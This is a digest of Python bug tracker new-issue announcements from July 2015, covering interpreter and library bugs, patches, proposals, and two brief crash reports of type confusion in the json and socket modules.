_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24661>
_______________________________________

From report at bugs.python.org  Sat Jul 18 17:24:24 2015
From: report at bugs.python.org (Agniva Roychowdhury)
Date: Sat, 18 Jul 2015 15:24:24 +0000
Subject: [New-bugs-announce] [issue24662] While condition not satisfied
	embarrassingly
Message-ID: <1437233064.01.0.466148269845.issue24662@psf.upfronthosting.co.za>


New submission from Agniva Roychowdhury:

A simple while loop that prints a variable 'test' (initialized by 0.0 and incremented by 0.1 in the loop) with a condition test<1.0 prints values UPTO 1.0.
It is a serious error.
Please check attached file and the output.

----------
components: Interpreter Core
files: python1.py
messages: 246903
nosy: Agniva Roychowdhury
priority: normal
severity: normal
status: open
title: While condition not satisfied embarrassingly
type: behavior
versions: Python 3.6
Added file: http://bugs.python.org/file39946/python1.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24662>
_______________________________________

From report at bugs.python.org  Sat Jul 18 19:28:16 2015
From: report at bugs.python.org (Filip Haglund)
Date: Sat, 18 Jul 2015 17:28:16 +0000
Subject: [New-bugs-announce] [issue24663] ast.literal_eval does not handle
	empty set literals
Message-ID: <1437240496.13.0.316743645205.issue24663@psf.upfronthosting.co.za>


New submission from Filip Haglund:

ast.literal_eval handles sets, if they contain at least one value, but does not handle empty ones, which are represented as `set()` since `{}` is already used by dicts.

----------
components: Library (Lib)
messages: 246906
nosy: Filip Haglund
priority: normal
severity: normal
status: open
title: ast.literal_eval does not handle empty set literals
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24663>
_______________________________________

From report at bugs.python.org  Sat Jul 18 20:01:12 2015
From: report at bugs.python.org (=?utf-8?q?Zbyszek_J=C4=99drzejewski-Szmek?=)
Date: Sat, 18 Jul 2015 18:01:12 +0000
Subject: [New-bugs-announce] [issue24664] build failure with
	_Py_BEGIN_SUPPRESS_IPH undefined
Message-ID: <1437242472.71.0.845093322193.issue24664@psf.upfronthosting.co.za>


New submission from Zbyszek J?drzejewski-Szmek:

I'm not sure if I'm doing something wrong, because other people should be seeing this too... Anyway, attached patch fixes the issue for me.

----------
components: Interpreter Core, Library (Lib)
files: 0001-Always-define-_Py_-_SUPPRESS_IPH-macros.patch
keywords: patch
messages: 246910
nosy: zbysz
priority: normal
severity: normal
status: open
title: build failure with _Py_BEGIN_SUPPRESS_IPH undefined
versions: Python 3.6
Added file: http://bugs.python.org/file39947/0001-Always-define-_Py_-_SUPPRESS_IPH-macros.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24664>
_______________________________________

From report at bugs.python.org  Sun Jul 19 04:44:39 2015
From: report at bugs.python.org (Florent Gallaire)
Date: Sun, 19 Jul 2015 02:44:39 +0000
Subject: [New-bugs-announce] [issue24665] CJK support for textwrap
Message-ID: <1437273879.55.0.48083735658.issue24665@psf.upfronthosting.co.za>


Changes by Florent Gallaire <fgallaire at gmail.com>:


----------
components: Library (Lib)
files: CJK.patch
keywords: patch
nosy: fgallaire
priority: normal
severity: normal
status: open
title: CJK support for textwrap
type: enhancement
versions: Python 2.7
Added file: http://bugs.python.org/file39949/CJK.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24665>
_______________________________________

From report at bugs.python.org  Sun Jul 19 07:00:46 2015
From: report at bugs.python.org (Eric Pruitt)
Date: Sun, 19 Jul 2015 05:00:46 +0000
Subject: [New-bugs-announce] [issue24666] Buffered I/O does not take file
 position into account when reading blocks
Message-ID: <1437282046.06.0.196054163473.issue24666@psf.upfronthosting.co.za>


New submission from Eric Pruitt:

When buffering data from a file, the buffered I/O does not take into account the current file descriptor position. In the following example, I open a file and seek forward 1,000 bytes:

>>> f = open("test-file", "rb")
>>> f.seek(1000)
1000
>>> f.readline()

The filesystem on which "test-file" resides has a block size of 4,096 bytes, so on the backend, I would expect Python to read 3,096 bytes so the next read will be aligned with the filesystem blocks. What actually happens is that Python reads a 4,096 bytes. This is the output from an strace attached to the interpreter above:

Process 16543 attached
lseek(4, 0, SEEK_CUR)                   = 0
lseek(4, 1000, SEEK_SET)                = 1000
read(4, "\000\000\000\000\000\000\000\000\000\000"..., 4096) = 4096

----------
components: IO
messages: 246931
nosy: ericpruitt
priority: normal
severity: normal
status: open
title: Buffered I/O does not take file position into account when reading blocks
type: behavior
versions: Python 2.7, Python 3.2, Python 3.3, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24666>
_______________________________________

From report at bugs.python.org  Sun Jul 19 12:40:38 2015
From: report at bugs.python.org (Fabian)
Date: Sun, 19 Jul 2015 10:40:38 +0000
Subject: [New-bugs-announce] [issue24667] OrderedDict.popitem() raises
	KeyError
Message-ID: <1437302438.28.0.708733032475.issue24667@psf.upfronthosting.co.za>


New submission from Fabian:

While testing pywikibot using requests and urllib3 on Python 3.6 we got an interesting error:

======================================================================
ERROR: testQueryApiGetter (tests.wikidataquery_tests.TestApiSlowFunctions)
Test that we can actually retreive data and that caching works.
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/home/travis/build/xZise/pywikibot-core/tests/wikidataquery_tests.py", line 252, in testQueryApiGetter
    data = w.query(q)
  File "/home/travis/build/xZise/pywikibot-core/pywikibot/data/wikidataquery.py", line 601, in query
    data = self.getDataFromHost(fullQueryString)
  File "/home/travis/build/xZise/pywikibot-core/pywikibot/data/wikidataquery.py", line 563, in getDataFromHost
    resp = http.fetch(url)
  File "/home/travis/build/xZise/pywikibot-core/pywikibot/comms/http.py", line 359, in fetch
    error_handling_callback(request)
  File "/home/travis/build/xZise/pywikibot-core/pywikibot/comms/http.py", line 276, in error_handling_callback
    raise request.data
  File "/home/travis/build/xZise/pywikibot-core/pywikibot/comms/http.py", line 255, in _http_process
    auth=auth, timeout=timeout, verify=True)
  File "/home/travis/virtualenv/python3.6-dev/lib/python3.6/site-packages/requests/sessions.py", line 465, in request
    resp = self.send(prep, **send_kwargs)
  File "/home/travis/virtualenv/python3.6-dev/lib/python3.6/site-packages/requests/sessions.py", line 573, in send
    r = adapter.send(request, **kwargs)
  File "/home/travis/virtualenv/python3.6-dev/lib/python3.6/site-packages/requests/adapters.py", line 337, in send
    conn = self.get_connection(request.url, proxies)
  File "/home/travis/virtualenv/python3.6-dev/lib/python3.6/site-packages/requests/adapters.py", line 251, in get_connection
    conn = self.poolmanager.connection_from_url(url)
  File "/home/travis/virtualenv/python3.6-dev/lib/python3.6/site-packages/requests/packages/urllib3/poolmanager.py", line 139, in connection_from_url
    return self.connection_from_host(u.host, port=u.port, scheme=u.scheme)
  File "/home/travis/virtualenv/python3.6-dev/lib/python3.6/site-packages/requests/packages/urllib3/poolmanager.py", line 125, in connection_from_host
    self.pools[pool_key] = pool
  File "/home/travis/virtualenv/python3.6-dev/lib/python3.6/site-packages/requests/packages/urllib3/_collections.py", line 66, in __setitem__
    _key, evicted_value = self._container.popitem(last=False)
KeyError: ('https', 'eu.wiktionary.org', 443)

Now that doesn't make much sense, as OrderedDict.popitem() only returns a KeyError if it's empty but then not with that error message. Unfortunately I can't reproduce it without doing the complete pywikibot test suite. When I only execute the tests where it occurred I don't get any failures. So I modified the output in urllib3 and returned the key as well as the content before popitem(last=False) is called (I shortened the values):

Key: ('https', 'bn.wikipedia.org', 443)
Content: OrderedDict([(('https', 'bn.wikipedia.org', 443), <requests.packages.urllib3.connectionpool.HTTPSConnectionPool object at 0x7fe483d991d0>), (('https', 'bs.wikipedia.org', 443), <?0x7fe483d99470>), (('https', 'ca.wikipedia.org', 443), <?0x7fe483da0e10>), (('https', 'cs.wikipedia.org', 443), <?0x7fe483dfc908>), (('https', 'da.wikipedia.org', 443), <?0x7fe483d98c88>), (('https', 'de.wikipedia.org', 443), <?0x7fe4911e06a0>), (('https', 'diq.wikipedia.org', 443), <?0x7fe483d6b400>), (('https', 'dsb.wikipedia.org', 443), <?0x7fe483d6bcf8>), (('https', 'en.wikipedia.org', 443), <?0x7fe483dc1da0>), (('https', 'eo.wikipedia.org', 443), <?0x7fe483d6cf28>), (('https', 'es.wikipedia.org', 443), <?0x7fe483d6b4a8>), (('https', 'fa.wikipedia.org', 443), <?0x7fe483d27278>), (('https', 'fi.wikipedia.org', 443), <?0x7fe483d6ce10>), (('https', 'fr.wikipedia.org', 443), <?0x7fe483e24cf8>), (('https', 'frr.wikipedia.org', 443), <?0x7fe483d39390>), (('https', 'ga.wikipedia.org', 443), <?0x7fe483c99668>), (('https', 'gl.wikipedia.org', 443), <?0x7fe483ca3f98>), (('https', 'als.wikipedia.org', 443), <?0x7fe483c4fcf8>), (('https', 'hu.wikipedia.org', 443), <?0x7fe483cd09e8>)])

As you can see it is not empty and the key in the KeyError is the first key in the OrderedDict. Also the key there is different from the key in the original exception I noticed so it's not a specific key that failed.

I don't think versions before Python 3.6 are affected as we had tests running on Python 3.5 (before Travis switched to 3.6 recently) and these all worked. Also not all popitem() calls in that line fail. I'm using Python 3.6.0a0 (default:d6c91b8242d2, Jul 18 2015, 16:36:01).

See also: https://github.com/shazow/urllib3/issues/680 and https://phabricator.wikimedia.org/T106212

----------
components: Library (Lib)
messages: 246937
nosy: xZise
priority: normal
severity: normal
status: open
title: OrderedDict.popitem() raises KeyError
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24667>
_______________________________________

From report at bugs.python.org  Sun Jul 19 12:58:37 2015
From: report at bugs.python.org (Steven D'Aprano)
Date: Sun, 19 Jul 2015 10:58:37 +0000
Subject: [New-bugs-announce] [issue24668] Deprecate 00000 as a synonym for 0
Message-ID: <1437303517.79.0.631832090122.issue24668@psf.upfronthosting.co.za>


New submission from Steven D'Aprano:

As discussed on the python-ideas list here:

Subject: Disallow "00000" as a synonym for "0"
https://mail.python.org/pipermail/python-ideas/2015-July/034631.html

and on Stackoverflow, leading zeroes are forbidden for ints, due to the possible confusion with C-style octal literals e.g. 007 raises syntax error. However, zero itself allows an arbitrary number of leading zeroes, e.g. 000 is accepted. Nobody seems to know why this special case was allowed in the first place, or come up with a use-case for it.

I propose deprecating this: 0 will be the one canonical way to write a zero int in base 10. 00 000 etc should raise a compile-time deprecation warning, to be eventually turned into a syntax error same as 01 002 etc. Float literals, string conversions, and bin/oct/hex literals will remain unchanged.

Cons: if there is anyone out there typing `000` when `0` will do, this will complain noisily.

Pros: cleaner syntax; some typos which may be silently accepted (`00` for `90`) will be caught.

----------
messages: 246939
nosy: steven.daprano
priority: normal
severity: normal
status: open
title: Deprecate 00000 as a synonym for 0
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24668>
_______________________________________

From report at bugs.python.org  Sun Jul 19 15:04:29 2015
From: report at bugs.python.org (Kai Groner)
Date: Sun, 19 Jul 2015 13:04:29 +0000
Subject: [New-bugs-announce] [issue24669] inspect.getsource() returns the
 wrong lines for coroutine functions
Message-ID: <1437311069.42.0.654446530603.issue24669@psf.upfronthosting.co.za>


Changes by Kai Groner <kai at gronr.com>:


----------
components: Library (Lib)
nosy: groner
priority: normal
severity: normal
status: open
title: inspect.getsource() returns the wrong lines for coroutine functions
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24669>
_______________________________________

From report at bugs.python.org  Sun Jul 19 16:26:33 2015
From: report at bugs.python.org (LordBlick)
Date: Sun, 19 Jul 2015 14:26:33 +0000
Subject: [New-bugs-announce] [issue24670] os.chdir breaks result of
 os.path.abspath(__file__) and os.path.realpath(__file__)
Message-ID: <1437315993.36.0.280874267638.issue24670@psf.upfronthosting.co.za>


New submission from LordBlick:

The use of methods path.chdir () corrupts the subsequent ability to detect the file path which is interpreted.
I've made simple example, which is atached:
$ cd ~/tmp
$ ./test_os_path.py 
abspath:        ~/tmp/test_os_path.py
weak abspath:   ~/tmp/test_os_path.py
realpath:       ~/tmp/subtemp/test_os_path.py
weak realpath:  ~/tmp/subtemp/test_os_path.py
$ cd /usr
$ ~/tmp/test_os_path.py
abspath:        ~/tmp/test_os_path.py
weak abspath:   ~/tmp/test_os_path.py
realpath:       ~/tmp/subtemp/test_os_path.py
weak realpath:  ~/tmp/subtemp/test_os_path.py
$ cd ~
$ tmp/test_os_path.py
abspath:        ~/tmp/test_os_path.py
weak abspath:   ~/tmp/tmp/test_os_path.py
realpath:       ~/tmp/subtemp/test_os_path.py
weak realpath:  ~/tmp/tmp/test_os_path.py

----------
components: Library (Lib)
files: test_os_path.py
messages: 246942
nosy: LordBlick
priority: normal
severity: normal
status: open
title: os.chdir breaks result of os.path.abspath(__file__) and os.path.realpath(__file__)
type: behavior
versions: Python 2.7
Added file: http://bugs.python.org/file39951/test_os_path.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24670>
_______________________________________

From report at bugs.python.org  Mon Jul 20 00:18:41 2015
From: report at bugs.python.org (Terry J. Reedy)
Date: Sun, 19 Jul 2015 22:18:41 +0000
Subject: [New-bugs-announce] [issue24671] idlelib 2.7: finish converting
	print statements
Message-ID: <1437344321.63.0.544143198256.issue24671@psf.upfronthosting.co.za>


New submission from Terry J. Reedy:

Porting patches from 3.x to 2.7 would be much easier if print were always a function and not a statement in 2.7.

Two modules, configHandler and PyShell, have been converted to print functions ("from __future__ import print_function" and () added).

GrepDialog has parentheses added everywhere, WidgetRedirector has them in 1 of 2 places.  Both could use the import so "print(a,b)" is not printed as a tuple when not intended to.  I intend to patch these separately.

These modules only have print statements:  ColorDelegator, EditorWindow, FileList, MultiCall, Percolator, ScrolledList, UndoDelegator, WindowList, rpc.py, run.py.

I believe these could all be patched correctly most easily with the help of 2to3 with just the print fixer used. The last two use >>file.

MultiCall also has commented-out prints. RemoteDebugger only has such.
These could be uncommented, fixed, and recommented in a separate patch.

Any adjustment of print args to match 3.x should at least be a separate patch, if not issue.

----------
components: IDLE
messages: 246950
nosy: serhiy.storchaka, terry.reedy
priority: normal
severity: normal
stage: needs patch
status: open
title: idlelib 2.7: finish converting print statements
type: enhancement
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24671>
_______________________________________

From report at bugs.python.org  Mon Jul 20 10:40:07 2015
From: report at bugs.python.org (Steffen Kampmann)
Date: Mon, 20 Jul 2015 08:40:07 +0000
Subject: [New-bugs-announce] [issue24672] shutil.rmtree failes on non ascii
	filenames
Message-ID: <1437381607.37.0.102405626215.issue24672@psf.upfronthosting.co.za>


New submission from Steffen Kampmann:

I run python 2.7 on Windows 7 and the function rmtree of the shutil package fails to remove files with a non ascii filename:

    File "C:\Users\skampmann\AppData\Local\Continuum\Anaconda\lib\shutil.py", line 247, in rmtree    rmtree(fullname, ignore_errors, onerror)
    File "C:\Users\skampmann\AppData\Local\Continuum\Anaconda\lib\shutil.py", line 247, in rmtree    rmtree(fullname, ignore_errors, onerror)
    File "C:\Users\skampmann\AppData\Local\Continuum\Anaconda\lib\shutil.py", line 247, in rmtree    rmtree(fullname, ignore_errors, onerror)
    File "C:\Users\skampmann\AppData\Local\Continuum\Anaconda\lib\shutil.py", line 252, in rmtree    onerror(os.remove, fullname, sys.exc_info())
    File "C:\Users\skampmann\AppData\Local\Continuum\Anaconda\lib\shutil.py", line 250, in rmtree    os.remove(fullname)
  WindowsError: [Error 2] Das System kann die angegebene Datei nicht finden: 'H:\\ihre_perso\xa6\xeanlichen_Zugangsdaten600.jpg'

Please let me know if i can help with something.

----------
components: Library (Lib)
messages: 246971
nosy: Steffen Kampmann
priority: normal
severity: normal
status: open
title: shutil.rmtree failes on non ascii filenames
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24672>
_______________________________________

From report at bugs.python.org  Mon Jul 20 13:05:19 2015
From: report at bugs.python.org (James Salter)
Date: Mon, 20 Jul 2015 11:05:19 +0000
Subject: [New-bugs-announce] [issue24673] distutils/_msvccompiler does not
 remove /DLL during link(CCompiler.EXECUTABLE)
Message-ID: <1437390319.85.0.740517640624.issue24673@psf.upfronthosting.co.za>


New submission from James Salter:

Encountered trying to build numpy with python 3.5b3, visual studio 2015.

>From distutils/_msvccompiler.py:MSVCCompiler.link:

        if self._need_link(objects, output_filename):
            ldflags = (self.ldflags_shared_debug if debug
                       else self.ldflags_shared)
            if target_desc == CCompiler.EXECUTABLE:
                ldflags = ldflags[1:]

But

        self.ldflags_shared = [
            '/nologo', '/DLL', '/INCREMENTAL:NO'
        ]
        self.ldflags_shared_debug = [
            '/nologo', '/DLL', '/INCREMENTAL:no', '/DEBUG:FULL'
        ]

Which leads to a DLL being created instead of a .exe.

I have attached a patch that explicitly removes '/DLL' rather than trimming by index.

----------
components: Distutils
files: _msvccompiler_link.patch
keywords: patch
messages: 246976
nosy: James Salter, dstufft, eric.araujo
priority: normal
severity: normal
status: open
title: distutils/_msvccompiler does not remove /DLL during link(CCompiler.EXECUTABLE)
type: compile error
versions: Python 3.5
Added file: http://bugs.python.org/file39959/_msvccompiler_link.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24673>
_______________________________________

From report at bugs.python.org  Mon Jul 20 15:26:41 2015
From: report at bugs.python.org (David Worenklein)
Date: Mon, 20 Jul 2015 13:26:41 +0000
Subject: [New-bugs-announce] [issue24674] pyclbr not recursively showing
	classes in packages
Message-ID: <1437398801.28.0.498074343865.issue24674@psf.upfronthosting.co.za>


New submission from David Worenklein:

In the following example, pyclbr does not report that foo.module.A is a superclass of C:

__module2.py__
import foo.module
class C(foo.module.B):
    pass

__foo/module.py__
class A(object):
    def foo(self):
        print "bar"

class B(A):
    pass

__test.py__
import pyclbr

def superclasses_of(class_data):
    classes = [ class_data ]
    super_classes = []
    while classes:
        class_data = classes.pop()
        if isinstance(class_data, basestring):
            super_classes.append(class_data)
        else:
            super_classes.append( class_data.module+'.'+class_data.name )
            for c in class_data.super:
                classes.append( c )
    return super_classes

module = pyclbr.readmodule('module2',['.','./foo'])
for class_name, class_data in module.items():
    print "%s => %s" % (class_name, superclasses_of(class_data))

__results__
C => ['foo.module.B']

I've attached a patch to pyclbr.py to fix this.

----------
files: pyclbr.patch
keywords: patch
messages: 246990
nosy: worenklein
priority: normal
severity: normal
status: open
title: pyclbr not recursively showing classes in packages
versions: Python 2.7
Added file: http://bugs.python.org/file39961/pyclbr.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24674>
_______________________________________

From report at bugs.python.org  Mon Jul 20 16:16:53 2015
From: report at bugs.python.org (Martin Panter)
Date: Mon, 20 Jul 2015 14:16:53 +0000
Subject: [New-bugs-announce] [issue24675] Avoid DeprecationWarning in test_os
Message-ID: <1437401813.61.0.317279191409.issue24675@psf.upfronthosting.co.za>


New submission from Martin Panter:

This patch is to avoid the warning introduced with the changes in Issue 15745, originally described at <https://bugs.python.org/issue15745#msg245455>. The code has a ?with? statement to hide the warning from os.stat_float_times(), but the warning triggers anyway because the TestCase.addCleanup() callback is triggered after the ?with? statement has exited.

----------
components: Tests
files: stat-times-deprecated.patch
keywords: patch
messages: 246995
nosy: haypo, vadmium
priority: normal
severity: normal
stage: patch review
status: open
title: Avoid DeprecationWarning in test_os
versions: Python 3.4, Python 3.5, Python 3.6
Added file: http://bugs.python.org/file39962/stat-times-deprecated.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24675>
_______________________________________

From report at bugs.python.org  Tue Jul 21 00:23:56 2015
From: report at bugs.python.org (Erick Fonseca)
Date: Mon, 20 Jul 2015 22:23:56 +0000
Subject: [New-bugs-announce] [issue24676] Error in pickle using cProfile
Message-ID: <1437431036.58.0.597469569222.issue24676@psf.upfronthosting.co.za>


New submission from Erick Fonseca:

cPickle raises a PicklingError when trying to pickle an instance of a class defined in a module being profiled with cProfile.

Example code:

    import cPickle

    class A(object):
        pass

    a = A()
    with open('file.dat', 'wb') as f:
        cPickle.dump(a, f)

Running the above example with python -m cProfile resulted in 

cPickle.PicklingError: Can't pickle <class '__main__.A'>: attribute lookup __main__.A failed

I'm not sure if this is the intended behavior (I suppose __main__ in this case refers to the cProfile module file), but I googled it and couldn't find anything. I noticed this problem in Ubuntu 14.04 and Windows 8.1, both with Python 2.7.

----------
components: Extension Modules
messages: 247006
nosy: Erick Fonseca
priority: normal
severity: normal
status: open
title: Error in pickle using cProfile
type: crash
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24676>
_______________________________________

From report at bugs.python.org  Tue Jul 21 12:43:42 2015
From: report at bugs.python.org (=?utf-8?q?Adam_Barto=C5=A1?=)
Date: Tue, 21 Jul 2015 10:43:42 +0000
Subject: [New-bugs-announce] [issue24677] "def f(*args,
	): pass" does not compile
Message-ID: <1437475422.65.0.615406832787.issue24677@psf.upfronthosting.co.za>


New submission from Adam Barto?:

I think that a trailing comma in function definition should be allowed also after *. 

Current situation with definitions:
def f(*args, ): pass # SyntaxError
def f(*, ): pass # SyntaxError
def f(*, a, ): pass # SyntaxError
def f(*, a=2, ): pass # SyntaxError

def f(a, ): pass # Ok
def f(, ): pass # SyntaxError ? this should probably stay error

Corresponding calls:
f(*args, ) # Ok
f(*args, a, ) # Ok
f(*args, a=2, ) # Ok 

f(a, ) # Ok
f(, ) # SyntaxError ? this is why the corresponding def behavior should stay

My use case:
def f(*, 
        long = 1, 
        list = 2, 
        of = 3, 
        kwonly = 4, 
        parameters = 5, 
    ):
    ...

----------
messages: 247023
nosy: Drekin
priority: normal
severity: normal
status: open
title: "def f(*args, ): pass" does not compile

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24677>
_______________________________________

From report at bugs.python.org  Tue Jul 21 20:37:18 2015
From: report at bugs.python.org (=?utf-8?q?Jacek_Ko=C5=82odziej?=)
Date: Tue, 21 Jul 2015 18:37:18 +0000
Subject: [New-bugs-announce] [issue24678] raiseExceptions typo fix in
	logging tests
Message-ID: <1437503838.94.0.968841864342.issue24678@psf.upfronthosting.co.za>


New submission from Jacek Ko?odziej:

The typo in test_logging was discovered while working on #23883: in two tests the addCleanup call reverts the raiseEx*ec*ptions value (instead of raiseExceptions) in logging module and apparently that didn't manifest itself in any way.

Patch attached.

----------
components: Tests
files: test_logging_typo.patch
keywords: patch
messages: 247047
nosy: Unit03, vadmium, vinay.sajip
priority: normal
severity: normal
status: open
title: raiseExceptions typo fix in logging tests
versions: Python 3.4, Python 3.5, Python 3.6
Added file: http://bugs.python.org/file39966/test_logging_typo.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24678>
_______________________________________

From report at bugs.python.org  Tue Jul 21 22:57:36 2015
From: report at bugs.python.org (Cody Piersall)
Date: Tue, 21 Jul 2015 20:57:36 +0000
Subject: [New-bugs-announce] [issue24679] Windows embeddable Python zip file
 crashes (cannot find a dll)
Message-ID: <1437512256.18.0.549401826928.issue24679@psf.upfronthosting.co.za>


New submission from Cody Piersall:

Whenever I tried to run the embeddable zip file from https://www.python.org/downloads/windows/ for Python 3.5.0b3, the program crashes with the message

> The program can't start because api-ms-win-crt-math-l1-1-0.dll is missing from your computer. Try reinstalling the program to fix this problem.

I suspect that this happens because I don't have any version of Visual Studio on my computer, but I'm not sure what causes it.  It happens with both the 32-bit and 64-bit zip file.

Steps to reproduce:

1. Download the zip file https://www.python.org/ftp/python/3.5.0/python-3.5.0b3-embed-win32.zip
2. Extract the contents
3. Click on the Python executable
4. Do not have Visual Studio installed on your computer

I am running Windows 7 Enterprise, 64-bit
I have attached a screenshot of the error message.

----------
files: bug.PNG
messages: 247063
nosy: Cody Piersall, steve.dower
priority: normal
severity: normal
status: open
title: Windows embeddable Python zip file crashes (cannot find a dll)
Added file: http://bugs.python.org/file39969/bug.PNG

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24679>
_______________________________________

From report at bugs.python.org  Wed Jul 22 04:47:29 2015
From: report at bugs.python.org (cdz)
Date: Wed, 22 Jul 2015 02:47:29 +0000
Subject: [New-bugs-announce] [issue24680] typo in documentation,
	section extending python
Message-ID: <1437533249.17.0.220138449851.issue24680@psf.upfronthosting.co.za>


New submission from cdz:

In section "3. Building C and C++ Extensions with distutils" there is unnecessary "\" in the middle of the line. Seems to be bulk (re)formatting issue.

Simple patch fixing the issue is attached.

----------
assignee: docs at python
components: Documentation
files: extending_doc_typo.diff
keywords: patch
messages: 247080
nosy: cdz, docs at python
priority: normal
severity: normal
status: open
title: typo in documentation, section extending python
type: enhancement
versions: Python 3.6
Added file: http://bugs.python.org/file39971/extending_doc_typo.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24680>
_______________________________________

From report at bugs.python.org  Wed Jul 22 06:01:49 2015
From: report at bugs.python.org (Raymond Hettinger)
Date: Wed, 22 Jul 2015 04:01:49 +0000
Subject: [New-bugs-announce] [issue24681] Put most likely test first is
	set_add_entry()
Message-ID: <1437537709.86.0.0448680218566.issue24681@psf.upfronthosting.co.za>


New submission from Raymond Hettinger:

Since the *found_active* exit is like the *found_error* exit in that it makes no further use of *entry*, it can be moved before the table/entry_key check whose purpose is to make sure the *entry* pointer is still valid.  This change doesn't apply to lookkey() which makes downstream use of the entry pointer.  In constrast, set_add_entry() is fully self-contained now and only returns a 0 or -1 rather than a pointer into the set table.

This puts the most likely test case first, putting it ahead of the two memory reloads in table/entry_key check.

Also, add an "else if" to the initial freeslot check to make it match the corresponding "else if" in the linear probe loop.

----------
assignee: serhiy.storchaka
components: Interpreter Core
files: better_test_order.diff
keywords: patch
messages: 247086
nosy: rhettinger, serhiy.storchaka
priority: normal
severity: normal
stage: patch review
status: open
title: Put most likely test first is set_add_entry()
versions: Python 3.6
Added file: http://bugs.python.org/file39972/better_test_order.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24681>
_______________________________________

From report at bugs.python.org  Wed Jul 22 06:45:33 2015
From: report at bugs.python.org (Carol Willing)
Date: Wed, 22 Jul 2015 04:45:33 +0000
Subject: [New-bugs-announce] [issue24682] Add Quick Start: Communications
	section to devguide
Message-ID: <1437540333.82.0.609056038167.issue24682@psf.upfronthosting.co.za>


New submission from Carol Willing:

Add a Quick Start: Communications section to devguide (or Q S: Community Interaction) as discussed on python-dev mailing list today.

The Quick Start: Communications section should be brief, link to other sections in the devguide, and give contributor's guidance about mailing list usage. It is possible that new sections of the devguide will be created to provide additional detail and be referenced by the Quick Start: Communications section. 

Rename existing devguide/#quick-start 'Quick Start' to 'Quick Start: Code Development'. Thanks Terry Reedy for the name suggestions.

----------
assignee: willingc
components: Devguide
messages: 247090
nosy: ezio.melotti, willingc
priority: normal
severity: normal
status: open
title: Add Quick Start: Communications section to devguide
type: enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24682>
_______________________________________

From report at bugs.python.org  Wed Jul 22 09:01:58 2015
From: report at bugs.python.org (paul)
Date: Wed, 22 Jul 2015 07:01:58 +0000
Subject: [New-bugs-announce] [issue24683] Type confusion in json encoding
Message-ID: <1437548518.74.0.524291765031.issue24683@psf.upfronthosting.co.za>


New submission from paul:

on-35dm-i386-linux-gnu.so`encoder_listencode_list(s=0xb6f90394, acc=0xbfc42c28, seq=0xb6f2361c, indent_level=1) + 655 at _json.c:1800
#     frame #2: 0xb6e4366d _json.cpython-35dm-i386-linux-gnu.so`encoder_listencode_obj(s=0xb6f90394, acc=0xbfc42c28, obj=0xb6f2361c, indent_level=1) + 733 at _json.c:1554
#     frame #3: 0xb6e3fc4f _json.cpython-35dm-i386-linux-gnu.so`encoder_call(self=0xb6f90394, args=0xb7049304, kwds=0x00000000) + 319 at _json.c:1386
#     frame #4: 0x080c5758 python`PyObject_Call(func=0xb6f90394, arg=0xb7049304, kw=0x00000000) + 264 at abstract.c:2149
# 
# This is a type confusion bug. encoder->markers can be initialized to an
# arbitrary object (string in this POC). PyDict_Contains trusts the caller that
# "op" is a dictionary without checking. Some callers can't be trusted :)

----------
messages: 247093
nosy: pkt
priority: normal
severity: normal
status: open
title: Type confusion in json encoding
type: crash
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24683>
_______________________________________

From report at bugs.python.org  Wed Jul 22 09:02:52 2015
From: report at bugs.python.org (paul)
Date: Wed, 22 Jul 2015 07:02:52 +0000
Subject: [New-bugs-announce] [issue24684] Type confusion in socket module
Message-ID: <1437548572.03.0.160792945123.issue24684@psf.upfronthosting.co.za>


New submission from paul:

eck(idna));
# (gdb) 
# 
# Program received signal SIGABRT, Aborted.
# 0xb77a6d4c in __kernel_vsyscall ()
# 
# "host" argument can be set to a subclass of unicode with a custom "encode" 
# method. "encode" returns unexpected type. assert is not compiled in release
# mode, so this will lead to a type confusion later on.

----------
files: poc_getaddr.py
messages: 247094
nosy: pkt
priority: normal
severity: normal
status: open
title: Type confusion in socket module
type: crash
versions: Python 3.5
Added file: http://bugs.python.org/file39974/poc_getaddr.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24684>
_______________________________________

From report at bugs.python.org  Wed Jul 22 19:04:01 2015
From: report at bugs.python.org (Eric Frederich)
Date: Wed, 22 Jul 2015 17:04:01 +0000
Subject: [New-bugs-announce] [issue24685] collections.OrderedDict
	collaborative subclassing
Message-ID: <1437584641.0.0.00317519120009.issue24685@psf.upfronthosting.co.za>


New submission from Eric Frederich:

After watching the PyCon talk Super considered super[1] and reading the corresponding blog post[2] I tried playing with dependency injection.

I was surprised to notice that the example he gave did not work if I swap the order of the classes around.  I think it should have.  See attached file.

I think this is a bug in collections.OrderedDict
OrderedDict is not well-behaved as far as cooperative subclassing is concerned.

